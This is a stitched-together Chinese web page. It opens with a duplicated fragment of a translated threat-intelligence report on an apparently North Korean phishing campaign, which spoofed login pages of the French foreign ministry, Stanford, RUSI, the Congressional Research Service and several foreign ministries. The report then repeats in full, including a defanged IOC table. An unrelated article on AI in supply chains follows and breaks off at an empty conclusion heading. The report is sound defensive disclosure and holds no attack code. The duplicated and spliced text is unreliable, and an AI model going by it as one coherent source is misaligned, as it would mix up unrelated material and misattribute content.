上面的图4描述了为域doc-view [。]work创建的最有趣的子域,其中包括为模拟MEAE登录而设置的两个子域。我们还确定了由恶意参与者创建的子域“ securemail.stanford.doc-view [。]work”,以模仿斯坦福大学的安全电子邮件服务。根据斯坦福大学IT部门的网站,安全电子邮件服务是为需要使用电子邮件发送中等或高风险数据的教职员工设计的。值得一提的是,斯坦福大学是国际安全与合作中心(CISAC)和亚太研究中心(APARC)的所在地,这两个中心都是弗里曼·斯波格利国际研究学院的一部分。这些研究中心举办了许多讲座,并就包括北朝鲜的持续发展在内的各种国际问题进行研究。

图5-斯坦福大学以安全电子邮件为主题的网络钓鱼站点securemail.stanford.doc-view [。] work的截图

URLScan.io(用于扫描和分析网站的在线服务)中提交的URL在可用的快照中显示了潜在的受害者,并确认目标机构是斯坦福大学。在斯坦福目录中的搜索没有显示与斯坦福大学与此电子邮件地址关联的任何人。

在调查为域doc-viewwork发行的SSL / TLS证书时,还有五个其他欺诈性子域在欺骗两个智囊团,两个外国政府机构和一个联合国组织。

· 美国国会研究机构国会研究处

· 斯洛伐克共和国外交和欧洲事务部

· 外交部-未知国家

· 英国联合智囊团皇家联合服务学院(RUSI)

· 南非国际关系与合作部

· 联合国代表团

域名2- app-support[.]work

域app-support [。]work托管在同一IP地址157.7.184 [。] 15上。该域具有许多子域,看起来像它们正在尝试模仿流行的电子邮件提供商,例如Yahoo和Gmail。使用“应用程序支持”域表明,由于使用了“应用程序”一词,因此与此域相关联的广告系列可能以智能手机或Apple设备为目标。

图6-与域app-support [。]work关联的网络钓鱼站点的概述

上图中的引人注目的目标包括:

· 新浪-中国科技公司

域名3-   web-line[.]work

域web-line [。]work托管在IP 157.7.184 [。] 15上。该域具有许多子域,它们似乎在模仿知名的在线服务,例如Google的Gmail和Microsoft的OneDrive。有趣的是,域名所有者还创建了一个看似相同的以MEAE为主题的子域“ portalis.diplomatie.gouv.web-line [。] work”,该文件可能试图模仿MEAE门户。在撰写本报告时,该网站没有响应;因此,我们无法获取页面的截图或分析网站的源代码。由于原始发现的域名和基础结构相似,我们可以有把握地判断第二个子域很可能是使用上述相同的技术创建的以MEAE为目标的。

图7-与网域网络[。]work相关的网络钓鱼站点的概述

在图7中,我们重点介绍了攻击者针对的几个知名组织。以下列表反映了子域概述中最有趣的目标:

· Mail.fed.be-可能针对比利时联邦政府的尝试

· 欧洲和外交部-法国(MEAE)

· 外交部(MOFA)-未知国家

· 新浪-中国科技公司

· 国际关系与合作部-南非政府外交部

域名4-  sub-state[.]work

在调查同一IP地址157.7.184 [。] 15上的被动DNS结果时,发现了域“ sub-state [。] work”。该域有十个子域,它们遵循与已经提到的相同的命名约定。

图8-域子状态[。]work上托管的网络钓鱼站点的概述

在图8中,可以看到子域模拟了以下组织:

· 朝日新闻社-日本五家主要报纸之一

· 外交部-韩国

0x03 幕后攻击者

IP地址157.7.184 [。] 15是共享的,因此是合法和恶意活动的宿主。然而,ESTSecurity于2019年4月报道,朝鲜最近开展的名为“烟幕”运动的基础设施存在重叠。据报道,域“ bigwnet [。] com”被用作Kimsuky Babyshark网络木马的命令和控制(C2),该木马也托管在同一IP地址上。Kimsuky Babyshark网络木马与朝鲜有关。

根据DomainWatch(一种收集域注册人信息的在线服务)的说法,有一个注册人电子邮件地址似乎链接了上述多个域:ringken1983 [at] gmail.com。

图9-域doc-view [。]work的Whois信息

DomainWatch还显示以下域也已使用相同的电子邮件地址注册:

图10-使用电子邮件地址ringken1983 [at] gmail [。] com注册的域

还有另外两个针对两个相关域的注册电子邮件:“ web-line [。] work”和“ drog-service [。] com”。

图11-用电子邮件地址dragon1988 [at] india [。] com注册的域

图12-使用电子邮件地址okonoki_masao [at] yahoo [。] co.jp注册的域

域名“ Dauum [。] net”似乎在模仿韩国的门户网站Daum,Daum是其他服务中的电子邮件提供商。据报道,2019年1月,朝鲜APT组织针对的是Daum,Naver和kakaoTalk服务(所有流行的韩国服务),注册了许多外观相似的域名。

0x04 分析结论

此活动的目标组织很多都为特定国家(例如韩国)的战略方向和目标提供了信息。针对四个不同国家的外交部,以及伪装成电子邮件或在线文档服务的持续尝试最有可能获得受害者的敏感通信和/或信息。此活动的目的很可能会获得信息,但很难确切知道对手的最终目标是什么。获得组织的内部电子邮件服务后,可以用许多其他方式破坏组织。在研究此活动的同时,许多域名并未处于活跃状态,尽管大多数域名已于今年注册。可能是对手一直在等待使用基础结构进行将来的攻击。这项研究与朝鲜的指标存在重叠,并且针对已经报道过的先前活动的目标也是如此。

0x05 参考资料

[1] URLScan, “portalis.diplomatie.gouv.web-line[.]work,” urlscan.io, accessed August 9, 2019, submitted July 23, 2019, https://urlscan.io/result/7e347bdc-8e0e-485b-93b2-6df2b919d768/.

[2] The French Mission Team, “Permanent mission of France to the United Nations in New York,” Ministry of Europe and Foerign Affairs, accessed August 12, 2019, https://onu.delegfrance.org/The-French-Mission-Team-8786.

[3] Censys, “doc-view[.]work,” Censys Certificate Search, accessed August 9, 2019, https://censys.io/certificates?q=%22doc-view.work%22.

[4] Stanford University, “Email:Secure Email: Email for Moderate and High Risk Data,” accessed August 14, 2019, published November 8, 2018, https://uit.stanford.edu/service/secureemail.

[5] Alyac, “Kimsuky’s APT Campaign ‘Smoke Screen’ Revealed for Korea and US,” ESTsecurity, accessed August 14, 2019, published April 17, 2019, https://blog.alyac.co.kr/2243.

[6] DomainWatch, “doc-view[.]work,” DomainWatch WhoIs, accessed August 12, 2019, https://domainwat.ch/whois/doc-view.work.

[7] BRI, “#1267555: Konni Campaign Targetting Mobiles - Additional IOCs,” BRI Alert, accessed August 14, 2019, published July 15, 2019, https://brica.de/alerts/alert/public/1267555/konni-campaign-targetting-mobiles-additional-iocs/.

0x06 IOCs

下表代表网络钓鱼活动中观察到的每个恶意基础结构和基本描述:

Indicators of CompromiseDescription
157.7.184[.]15Shared hosting server with multiple suspicious and phishing sites
doc-view[.]workMalicious domain
web-line[.]workMalicious domain
app-support[.]workMalicious domain
login-confirm[.]workMalicious domain
member-service[.]workMalicious domain
short-line[.]workMalicious domain
alone-service[.]workMalicious domain
minner[.]workMalicious domain
com-main[.]workMalicious domain
sub-state[.]workMalicious domain
check-up[.]workMalicious domain
portalis.diplomatie.gouv.web-line[.]workPhishing site mimicking the Ministry of Europe and Foriegn Affairs (MEAE) portal
account.googlie.com.doc-view[.]workPhishing site
crsreports.congress.doc-view[.]workPhishing site mimicking the Congressional Research Service
delegate.int.doc-view[.]workPhishing site likely to be mimicking the United Nations delegate login
drive.google.doc-view[.]workPhishing site
drive.storage.com.doc-view[.]workPhishing site
drives.google.doc-view[.]workPhishing site
hostmaster.doc-view[.]workPhishing site
login-history.doc-view[.]workPhishing site
login-onedrive.doc-view[.]workPhishing site
login.live.doc-view[.]workPhishing site
login.outlook.doc-view[.]workPhishing site
login.yahoo-sec.doc-view[.]workPhishing site
login.yahoo.doc-view[.]workPhishing site
login.ymail.doc-view[.]workPhishing site
mail.doc-view[.]workPhishing site
mail.mofa.gov.doc-view[.]workPhishing site mimicking the Ministry of Foriegn Affairs (MOFA) - unknown country
mail.preview.doc-view[.]workPhishing site
mail.sec.doc-view[.]workPhishing site
mail.view.doc-view[.]workPhishing site
mail.xmailgateway.doc-view[.]workPhishing site
myaccount.google.doc-view[.]workPhishing site
myaccount.protect.doc-view[.]workPhishing site
myaccount.setting.doc-view[.]workPhishing site
mzv.sk.doc-view[.]workPhishing site mimicking the Ministry of Foreign and European Affairs of the Slovak Republic
one-drive.storage.doc-view[.]workPhishing site
onedrive.com.doc-view[.]workPhishing site
portalis.diplomatie.gouv.doc-view[.]workPhishing site mimicking the Ministry of Europe and Foriegn Affairs (MEAE) portal
portalis.diplomatie.gouv.fr.doc-view[.]workPhishing site mimicking the Ministry of Europe and Foriegn Affairs (MEAE) portal
rusi.org.doc-view[.]workPhishing site mimicking the UK think tank RUSI
securemail.stanford.doc-view[.]workPhishing site mimicking Stanford University
ubmail.dirco.gov.doc-view[.]workPhishing site mimicking the Department of International Relations and Cooperation of the Foreign Ministry of the South African government
www.str8-creative.com.doc-view[.]workPhishing site
rive.storage.com.doc-view[.]workPhishing site
login.yalnoo-sec.doc-view[.]workPhishing site
login.onedrive-storage.doc-view[.]workPhishing site
david.gizmodo.com.doc-view[.]workPhishing site
drive.storage.login-confirm[.]workPhishing site
share.doc.login-confirm[.]workPhishing site
accounts.live.com.member-service[.]workPhishing site
accounts.msn.com.member-service[.]workPhishing site
accounts.outlooks.com.member-service[.]workPhishing site
ccounts.outlooks.com.member-service[.]workPhishing site
edit.accounts.member-service[.]workPhishing site
maii.ocn-accounts.member-service[.]workPhishing site
mail.ocn-accounts.member-service[.]workPhishing site
login.outlook.short-line[.]workPhishing site
1drv.ms.web-line[.]workPhishing site
drive.storage.com.web-line[.]workPhishing site
hostingemail.digitalspace.web-line[.]workPhishing site
login.live.web-line[.]workPhishing site
mail.fed.be.web-line[.]workPhishing site
mail.mofa.gov.web-line[.]workPhishing site
mail.xmailgateway.web-line[.]workPhishing site
portalis.diplomatie.gouv.web-line[.]workPhishing site
ubmail.dirco.gov.web-line[.]workPhishing site
edit-accounts.ntt-ocn.alone-service[.]workPhishing site
login-accounts.yahoojp.minner[.]workPhishing site
login-accounts.yaoojp.minner[.]workPhishing site
login.live.com-main[.]workPhishing site
login.ymail.com-main[.]workPhishing site
mail.mofa.go.kr.sub-state[.]workPhishing site
accounts.ocn-setting.app-support[.]workPhishing site
login-accounts.view.app-support[.]workPhishing site
login.yahoo.app-support[.]workPhishing site
loing-accounts.view.app-support[.]workPhishing site
myaccount.google-monitor.app-support[.]workPhishing site
myaccounts.google-set.app-support[.]workPhishing site
vip-sina.com.cn.app-support[.]workPhishing site
accounts.lives.com.check-up[.]workPhishing site
accounts.msn.com.check-up[.]workPhishing site
accounts.outlookes.check-up[.]workPhishing site
accounts.outlooks.check-up[.]workPhishing site
lh.yahoojp.check-up[.]workPhishing site
mail.ocn-accounts.check-up[.]workPhishing site
ringken1983[at]gmail[.]comAdversary email address used to register domains
dragon1988[at]india[.]comAdversary email address used to register domains
okonoki_masao[at]yahoo[.]co[.]jpAdversary email address used to register domains


研究人员最近观察到一个网站伪装成与法国政府链接的外交门户网站的登录页面。对威胁行为者基础设施的进一步分析发现了针对三个不同国家外交部机构的更广泛的网络钓鱼活动。还针对四个研究型组织,包括:斯坦福大学,皇家联合服务学院(RUSI),英国智囊团,国会研究服务局(CRS),美国智囊团和五个不同的电子邮件服务提供者。基础设施与已知的朝鲜参与者有重叠,包括相同的域和共享的托管服务提供商。由于其中一位受害者与其在朝鲜制裁方面的work之间存在联系。

在发布此博客文章之前,我们已将钓鱼网站提交给Google Safebrowsing和Microsoft,以列入黑名单。

0x01 针对法国和欧洲外交部的攻击

2019年8月9日,威胁研究团队发现了一个网页,该网页模仿了法国欧洲和外交部(MEAE)在线门户。恶意主机“ portalis.diplomatie.gouv.fr.doc-view [。]” 与合法站点“ diplomatie.gouv.fr”非常相似。导航到可疑子域时,会向用户显示一个模仿MEAE门户的网络钓鱼站点。根据合法站点,访问仅限于“ MEAE代理”。“法国外交官”的合法网站描述了MEAE代理商可能在“欧洲和外交部”的12个机构之一中工作。如果这些机构中的任何一个官员都能登录到门户,则这些机构中的全部十二个都是潜在的受害者,其中包括:

 Agence Française de Développement (AFD)
 Agency for French Education Abroad (AEFE)
 Agricultural Research Centre for International Development (CIRAD)
 Atout France
 Business France
 Campus France and France Médias Monde
 Canal France International (CFI)
 Expertise France
 France Volontaires
 Institut Français
 Research Institute for Development (IRD)

图1-欧洲和外交部(MEAE)门户的Faux登录页面

上面的截图显示了设计为类似于MEAE门户的网页。截图显示了尝试登录的受害者的会话超时弹出窗口,在这种情况下,尽管页面上看不清,但页面源显示了预期的受害者,此人最有可能成为网络钓鱼活动的目标。

图2-MEAE门户和受害者电子邮件地址的页面源代码

页面源代码中的电子邮件是针对目标组织的员工的。根据delegefrance [。] org,页面源代码中的电子邮件地址属于法国驻纽约联合国宣教团的高级官员。此外,这位法国外交官还在“裁军,制裁委员会:伊朗,朝鲜,第一委员会”工作。

0x02 对基础架构的威胁分析

恶意URL“ portalis.diplomatie.gouv.fr.doc-view [。]work”模仿了恶意域“ doc-view [。]work”上的外交门户。该域托管在IP 157.7.184 [。] 15上,并具有几个似乎冒充电子邮件提供商的子域。IP地址似乎也具有几个相似的域和URL,它们在命名约定中共享某些模式。

图3-托管在相同IP地址上的相似命名域

IP地址157.7.184 [。] 15由亚太网络信息中心(APNIC)托管。由于IP地址是共享的,因此多个IP地址托管在同一个IP地址上。IP位于日本,并在位于东京的日本网络信息中心注册。

该IP地址上具有相同命名约定的最近使用域是以下四个域:

域名1- doc-view[.]work

域doc-view [。]work托管在IP 157.7.184 [。] 15上。该域有32个子域,大多数子域似乎是在欺骗电子邮件服务提供商Yahoo,Outlook,Ymail和Google服务。域和某些子域似乎都已设置为看起来像它们将允许受害者访问文档,例如使用Microsoft OneDrive。

图4-域doc-view [。]work上的知名网络钓鱼网站的概述

上面的图4描述了为域doc-view [。]work创建的最有趣的子域,其中包括为模拟MEAE登录而设置的两个子域。我们还确定了由恶意参与者创建的子域“ securemail.stanford.doc-view [。]work”,以模仿斯坦福大学的安全电子邮件服务。根据斯坦福大学IT部门的网站,安全电子邮件服务是为需要使用电子邮件发送中等或高风险数据的教职员工设计的。值得一提的是,斯坦福大学是国际安全与合作中心(CISAC)和亚太研究中心(APARC)的所在地,这两个中心都是弗里曼·斯波格利国际研究学院的一部分。这些研究中心举办了许多讲座,并就包括北朝鲜的持续发展在内的各种国际问题进行研究。

图5-斯坦福大学以安全电子邮件为主题的网络钓鱼站点securemail.stanford.doc-view [。] work的截图

URLScan.io(用于扫描和分析网站的在线服务)中提交的URL在可用的快照中显示了潜在的受害者,并确认目标机构是斯坦福大学。在斯坦福目录中的搜索没有显示与斯坦福大学与此电子邮件地址关联的任何人。

在调查为域doc-viewwork发行的SSL / TLS证书时,还有五个其他欺诈性子域在欺骗两个智囊团,两个外国政府机构和一个联合国组织。

· 美国国会研究机构国会研究处

· 斯洛伐克共和国外交和欧洲事务部

· 外交部-未知国家

· 英国联合智囊团皇家联合服务学院(RUSI)

· 南非国际关系与合作部

· 联合国代表团

域名2- app-support[.]work

域app-support [。]work托管在同一IP地址157.7.184 [。] 15上。该域具有许多子域,看起来像它们正在尝试模仿流行的电子邮件提供商,例如Yahoo和Gmail。使用“应用程序支持”域表明,由于使用了“应用程序”一词,因此与此域相关联的广告系列可能以智能手机或Apple设备为目标。

图6-与域app-support [。]work关联的网络钓鱼站点的概述

上图中的引人注目的目标包括:

· 新浪-中国科技公司

域名3-   web-line[.]work

域web-line [。]work托管在IP 157.7.184 [。] 15上。该域具有许多子域,它们似乎在模仿知名的在线服务,例如Google的Gmail和Microsoft的OneDrive。有趣的是,域名所有者还创建了一个看似相同的以MEAE为主题的子域“ portalis.diplomatie.gouv.web-line [。] work”,该文件可能试图模仿MEAE门户。在撰写本报告时,该网站没有响应;因此,我们无法获取页面的截图或分析网站的源代码。由于原始发现的域名和基础结构相似,我们可以有把握地判断第二个子域很可能是使用上述相同的技术创建的以MEAE为目标的。

图7-与网域网络[。]work相关的网络钓鱼站点的概述

在图7中,我们重点介绍了攻击者针对的几个知名组织。以下列表反映了子域概述中最有趣的目标:

· Mail.fed.be-可能针对比利时联邦政府的尝试

· 欧洲和外交部-法国(MEAE)

· 外交部(MOFA)-未知国家

· 新浪-中国科技公司

· 国际关系与合作部-南非政府外交部

域名4-  sub-state[.]work

在调查同一IP地址157.7.184 [。] 15上的被动DNS结果时,发现了域“ sub-state [。] work”。该域有十个子域,它们遵循与已经提到的相同的命名约定。

图8-域子状态[。]work上托管的网络钓鱼站点的概述

在图8中,可以看到子域模拟了以下组织:

· 朝日新闻社-日本五家主要报纸之一

· 外交部-韩国

0x03 幕后攻击者

IP地址157.7.184 [。] 15是共享的,因此是合法和恶意活动的宿主。然而,ESTSecurity于2019年4月报道,朝鲜最近开展的名为“烟幕”运动的基础设施存在重叠。据报道,域“ bigwnet [。] com”被用作Kimsuky Babyshark网络木马的命令和控制(C2),该木马也托管在同一IP地址上。Kimsuky Babyshark网络木马与朝鲜有关。

根据DomainWatch(一种收集域注册人信息的在线服务)的说法,有一个注册人电子邮件地址似乎链接了上述多个域:ringken1983 [at] gmail.com。

图9-域doc-view [。]work的Whois信息

DomainWatch还显示以下域也已使用相同的电子邮件地址注册:

图10-使用电子邮件地址ringken1983 [at] gmail [。] com注册的域

还有另外两个针对两个相关域的注册电子邮件:“ web-line [。] work”和“ drog-service [。] com”。

图11-用电子邮件地址dragon1988 [at] india [。] com注册的域

图12-使用电子邮件地址okonoki_masao [at] yahoo [。] co.jp注册的域

域名“ Dauum [。] net”似乎在模仿韩国的门户网站Daum,Daum是其他服务中的电子邮件提供商。据报道,2019年1月,朝鲜APT组织针对的是Daum,Naver和kakaoTalk服务(所有流行的韩国服务),注册了许多外观相似的域名。

0x04 分析结论

此活动的目标组织很多都为特定国家(例如韩国)的战略方向和目标提供了信息。针对四个不同国家的外交部,以及伪装成电子邮件或在线文档服务的持续尝试最有可能获得受害者的敏感通信和/或信息。此活动的目的很可能会获得信息,但很难确切知道对手的最终目标是什么。获得组织的内部电子邮件服务后,可以用许多其他方式破坏组织。在研究此活动的同时,许多域名并未处于活跃状态,尽管大多数域名已于今年注册。可能是对手一直在等待使用基础结构进行将来的攻击。这项研究与朝鲜的指标存在重叠,并且针对已经报道过的先前活动的目标也是如此。

0x05 参考资料

[1] URLScan, “portalis.diplomatie.gouv.web-line[.]work,” urlscan.io, accessed August 9, 2019, submitted July 23, 2019, https://urlscan.io/result/7e347bdc-8e0e-485b-93b2-6df2b919d768/.

[2] The French Mission Team, “Permanent mission of France to the United Nations in New York,” Ministry of Europe and Foerign Affairs, accessed August 12, 2019, https://onu.delegfrance.org/The-French-Mission-Team-8786.

[3] Censys, “doc-view[.]work,” Censys Certificate Search, accessed August 9, 2019, https://censys.io/certificates?q=%22doc-view.work%22.

[4] Stanford University, “Email:Secure Email: Email for Moderate and High Risk Data,” accessed August 14, 2019, published November 8, 2018, https://uit.stanford.edu/service/secureemail.

[5] Alyac, “Kimsuky’s APT Campaign ‘Smoke Screen’ Revealed for Korea and US,” ESTsecurity, accessed August 14, 2019, published April 17, 2019, https://blog.alyac.co.kr/2243.

[6] DomainWatch, “doc-view[.]work,” DomainWatch WhoIs, accessed August 12, 2019, https://domainwat.ch/whois/doc-view.work.

[7] BRI, “#1267555: Konni Campaign Targetting Mobiles - Additional IOCs,” BRI Alert, accessed August 14, 2019, published July 15, 2019, https://brica.de/alerts/alert/public/1267555/konni-campaign-targetting-mobiles-additional-iocs/.

0x06 IOCs

下表代表网络钓鱼活动中观察到的每个恶意基础结构和基本描述:

Indicators of CompromiseDescription
157.7.184[.]15Shared hosting server with multiple suspicious and phishing sites
doc-view[.]workMalicious domain
web-line[.]workMalicious domain
app-support[.]workMalicious domain
login-confirm[.]workMalicious domain
member-service[.]workMalicious domain
short-line[.]workMalicious domain
alone-service[.]workMalicious domain
minner[.]workMalicious domain
com-main[.]workMalicious domain
sub-state[.]workMalicious domain
check-up[.]workMalicious domain
portalis.diplomatie.gouv.web-line[.]workPhishing site mimicking the Ministry of Europe and Foriegn Affairs (MEAE) portal
account.googlie.com.doc-view[.]workPhishing site
crsreports.congress.doc-view[.]workPhishing site mimicking the Congressional Research Service
delegate.int.doc-view[.]workPhishing site likely to be mimicking the United Nations delegate login
drive.google.doc-view[.]workPhishing site
drive.storage.com.doc-view[.]workPhishing site
drives.google.doc-view[.]workPhishing site
hostmaster.doc-view[.]workPhishing site
login-history.doc-view[.]workPhishing site
login-onedrive.doc-view[.]workPhishing site
login.live.doc-view[.]workPhishing site
login.outlook.doc-view[.]workPhishing site
login.yahoo-sec.doc-view[.]workPhishing site
login.yahoo.doc-view[.]workPhishing site
login.ymail.doc-view[.]workPhishing site
mail.doc-view[.]workPhishing site
mail.mofa.gov.doc-view[.]workPhishing site mimicking the Ministry of Foriegn Affairs (MOFA) - unknown country
mail.preview.doc-view[.]workPhishing site
mail.sec.doc-view[.]workPhishing site
mail.view.doc-view[.]workPhishing site
mail.xmailgateway.doc-view[.]workPhishing site
myaccount.google.doc-view[.]workPhishing site
myaccount.protect.doc-view[.]workPhishing site
myaccount.setting.doc-view[.]workPhishing site
mzv.sk.doc-view[.]workPhishing site mimicking the Ministry of Foreign and European Affairs of the Slovak Republic
one-drive.storage.doc-view[.]workPhishing site
onedrive.com.doc-view[.]workPhishing site
portalis.diplomatie.gouv.doc-view[.]workPhishing site mimicking the Ministry of Europe and Foriegn Affairs (MEAE) portal
portalis.diplomatie.gouv.fr.doc-view[.]workPhishing site mimicking the Ministry of Europe and Foriegn Affairs (MEAE) portal
rusi.org.doc-view[.]workPhishing site mimicking the UK think tank RUSI
securemail.stanford.doc-view[.]workPhishing site mimicking Stanford University
ubmail.dirco.gov.doc-view[.]workPhishing site mimicking the Department of International Relations and Cooperation of the Foreign Ministry of the South African government
www.str8-creative.com.doc-view[.]workPhishing site
rive.storage.com.doc-view[.]workPhishing site
login.yalnoo-sec.doc-view[.]workPhishing site
login.onedrive-storage.doc-view[.]workPhishing site
david.gizmodo.com.doc-view[.]workPhishing site
drive.storage.login-confirm[.]workPhishing site
share.doc.login-confirm[.]workPhishing site
accounts.live.com.member-service[.]workPhishing site
accounts.msn.com.member-service[.]workPhishing site
accounts.outlooks.com.member-service[.]workPhishing site
ccounts.outlooks.com.member-service[.]workPhishing site
edit.accounts.member-service[.]workPhishing site
maii.ocn-accounts.member-service[.]workPhishing site
mail.ocn-accounts.member-service[.]workPhishing site
login.outlook.short-line[.]workPhishing site
1drv.ms.web-line[.]workPhishing site
drive.storage.com.web-line[.]workPhishing site
hostingemail.digitalspace.web-line[.]workPhishing site
login.live.web-line[.]workPhishing site
mail.fed.be.web-line[.]workPhishing site
mail.mofa.gov.web-line[.]workPhishing site
mail.xmailgateway.web-line[.]workPhishing site
portalis.diplomatie.gouv.web-line[.]workPhishing site
ubmail.dirco.gov.web-line[.]workPhishing site
edit-accounts.ntt-ocn.alone-service[.]workPhishing site
login-accounts.yahoojp.minner[.]workPhishing site
login-accounts.yaoojp.minner[.]workPhishing site
login.live.com-main[.]workPhishing site
login.ymail.com-main[.]workPhishing site
mail.mofa.go.kr.sub-state[.]workPhishing site
accounts.ocn-setting.app-support[.]workPhishing site
login-accounts.view.app-support[.]workPhishing site
login.yahoo.app-support[.]workPhishing site
loing-accounts.view.app-support[.]workPhishing site
myaccount.google-monitor.app-support[.]workPhishing site
myaccounts.google-set.app-support[.]workPhishing site
vip-sina.com.cn.app-support[.]workPhishing site
accounts.lives.com.check-up[.]workPhishing site
accounts.msn.com.check-up[.]workPhishing site
accounts.outlookes.check-up[.]workPhishing site
accounts.outlooks.check-up[.]workPhishing site
lh.yahoojp.check-up[.]workPhishing site
mail.ocn-accounts.check-up[.]workPhishing site
ringken1983[at]gmail[.]comAdversary email address used to register domains
dragon1988[at]india[.]comAdversary email address used to register domains
okonoki_masao[at]yahoo[.]co[.]jpAdversary email address used to register domains


微信截图_20200708133601.png

了解供应链

简单来说,供应链涉及一系列旨在向最终用户提供产品或服务的步骤。企业组织及其供应商之间始终存在一个网络,来生产特定产品并将其交付给最终用户。该网络包括不同的活动、人员、实体、信息和资源等等。

供应链还代表了将产品或服务从原始状态提供给客户所需采取的步骤。这些步骤通常包括将原材料转移并将其转化为成品,运输这些产品并将其交付给最终用户等等。供应链中所涉及的实体包括生产商、供应商、仓库、运输公司、分销中心以及零售商等。

如果说你正在运营一家企业,那么供应链管理将是至关重要的过程,因为优化的供应链可以帮助企业降低成本,并在激烈的商业环境中保持竞争力。

了解人工智能及其影响供应链的方式

大多数人在听到“人工智能”一词时,想到的第一件事通常就是“机器人”。但这种想法显然并不准确。人工智能(Artificial intelligence)是机器智能(machine intelligence)的同义词,是指由机器所展示出来的智能,与人类所展示出来的自然智能(natural intelligence,是指观察自然界中的各种形态,对物体进行辨认和分类,能够洞察自然或人造系统的能力)相反。

“人工智能”这一术语,通常用于描述模仿人类与人类思维(例如“学习”和“解决问题”)相关的“认知”功能的机器(或计算机)。

企业组织可以使用这些方法,然后对其进行分析以获得可以启动流程和复杂功能的结果。

早在2016年,Crisp Research AG公司针对IT决策者进行的一项研究中就发现,在众多行业中,积极使用机器学习流程的企业数量名列前茅的当属物流行业。

如今,许多企业组织已经从人工智能投资中获益。根据Adobe公司的调查结果显示,目前有15%的企业已经开始使用人工智能,而其他31%的企业计划在2019年采用人工智能。在此过程中,能够产生收益的领域包括研发、产品创新、供应链运营以及客户服务。

调研机构麦肯锡公司(McKinsey & Company)预计,通过在供应链中使用人工智能,企业每年能够从中获得1.3万亿美元至2万亿美元的经济价值。此外,普华永道公司也表示,到2030年,人工智能预计可以为全球经济贡献近15.7万亿美元的价值。

人工智能影响供应链的8种方式

1. 人工智能能够分析大量数据,从而增强需求预测

有了人工智能技术,企业通过处理大量的数据——例如由传感器生成的数据——以了解现实情况,然后做出合理的决策,已经成为可能。的确,当供应落后于需求时,企业会蒙受损失。

人工智能的预测能力有助于网络规划和预测需求。这使得销售商能够变被动为主动。通过了解期望值和需求量,运输公司可以合理调整车辆数量,并将其重点放置在预计需求最大的位置上,此举可以帮助降低运营成本。

大数据的力量使得物流公司能够比以往更好地预测高度准确的前景,并优化未来绩效。此外,大数据技术还可以进行预测和复杂的情景分析,并可以进行精确的容量规划以及供应链和库存的优化。

2. 人工智能可以提供洞察力以提高生产力

通过自动计算更好的解决方案,人工智能极大地提高了仓库的生产率,尤其是对于在线零售商而言。

通过在供应链管理过程中应用人工智能技术,可以有效地分析供应链性能并找出影响同一领域的新因素。为了找出影响供应链绩效的因素和问题,人工智能还结合了强化学习、无监督学习以及监督学习等不同技术的能力。

3. 聊天机器人正在重新定义客户支持服务

根据埃森哲(Accenture)公司的调查结果显示,80%的客户服务都可以由机器人来处理。人工智能可以个性化客户与物流供应商之间的关系。

Pega公司也表示,38%的消费者认为人工智能可以增强客户服务。

最近的一个个性化客户体验示例是DHL公司与亚马逊公司的合作关系。通过使用Alexa应用程序跟踪DHL包裹行程,DHL客户可以要求Alexa与Amazon Echo或Echo Dot智能音箱连接,并确认包裹的状态。如果在交互过程中出现任何问题,Echo用户可以直接与DHL公司联系,以寻求其客户支持团队的帮助。

4. 智能仓库管理

在未来几年内,大面积的仓库管理将会完全实现自动化。人工智能技术越来越成为不可或缺的组成部分,尤其是在短期和中期预测方面。

智能仓库是一个完全自动化的设施,其中大部分工作是通过自动化或软件来完成的。在此过程中,繁琐的任务得以简化,操作也变得更具成本效益。

阿里巴巴和亚马逊公司已经通过使用自动化改造了他们的仓库。亚马逊公司正在物流中心内使用机器替代真人员工,这套自动化的打包生产线名为 CartonWrap(纸箱打包),由意大利公司 CMC 提供。该机器主要由分拣、裁切和打包三个核心模块,以及打单等辅助模块组成。据悉,CartonWrap 每小时可以完成600-700个订单的打包工作,效率远超人手打包。CMC 的网站则显示,该机器在理想状态下每小时可以输出多达1,000个包裹,打包效率获得了5倍的惊人提升。

阿里巴巴的智能仓库通过一整套自动化系统,每天可高效处理超百万级商品,人工仅需在条码复核、分拣机监护等环节投入,货品的运输、仓储、装卸、搬运等七个环节可一体化集成,效率至少提升30%,拣货准确率几乎可达100%。

5. 自动驾驶汽车

自动驾驶汽车是由人工智能提供供应链的下一个重要产品。拥有无人驾驶卡车可能还需要一段时间,但是物流行业现在正在利用高科技驾驶来提高效率和安全性。在辅助制动、车道辅助和高速公路自动驾驶方面,预计该行业将发生重大变化。

为了实现更低的油耗,企业不断研发出更好的驾驶系统,该系统可以将多辆卡车聚集在一起形成编队。物流公司通过计算机控制这样的编队,而且它们之间也相互连接。

6. 遗传算法正在缩短交货时间并降低成本

在供应链中,每一英里和每一分钟都很重要。企业可以使用基于遗传算法(Genetic Algorithms)的路线规划器来规划交付的最佳路线。

全球快递服务商UPS公司正在使用一款名为“Orion”的GPS工具,来帮助驾驶员及时、经济、高效地交货。据悉,Orion可以根据交通状况和其他因素来实时规划和优化路线。而这一技术已经帮助UPS公司每年节省了近5000万美元。

7. 机器人技术

如果不提及机器人技术,那么此次关于人工智能的讨论势必是不完整的。虽然它们听起来像是一种未来主义的概念,但事实上它们已经嵌入到了供应链之中。根据调研机构Tractica Research公司的说法,到2021年底,全球仓储和物流机器人的销售额将达到224亿美元。

如今,有些仓库的操作原理已不再为人类观察者所理解,因为它们是由人工智能管理的。它们的共同特征通常是机器人驱动,尤其是自动导引车(AGV)。

在仓库中,产品以混乱的方式存放在各种架子和过道中。对于人类拣选师而言,这就意味着不必要的移动和搜索时间,而这一过程对于自动驾驶机器人来说却并不存在问题:当收到订单时,第一个可用的自动拣选机将拾取最接近其位置存储的物品,并将其传送到仓库末端的人工包装工位。

8. 财务异常检测

供应链提供商通常依赖大量的第三方——包括公共航空公司、分包人员、特许航空公司以及其他第三方供应商——来运营其业务的核心功能。这就给物流会计团队增加了负担,导致他们每年要处理来自数千家供应商、合作伙伴或供应商的数百万张发票。

就该问题而言,诸如自然语言处理之类的人工智能技术,可以从企业收到的非结构化发票形式中提取关键信息,例如账单金额、帐户信息、日期、地址和相关方。

例如,咨询机构安永(EY)公司正在采用类似的方法来检测欺诈性发票。使用机器学习技术对国际方的发票进行彻底分类,并识别异常以供专家审核,可以帮助安永公司遵守制裁、反贿赂法规以及《美国反海外腐败法》的其他规定。安永公司的欺诈检测系统达到了97%的准确性,并已推广到了50多家公司。

类似的逻辑还可以应用于具有高频重复任务的任何其他业务流程中。

结论

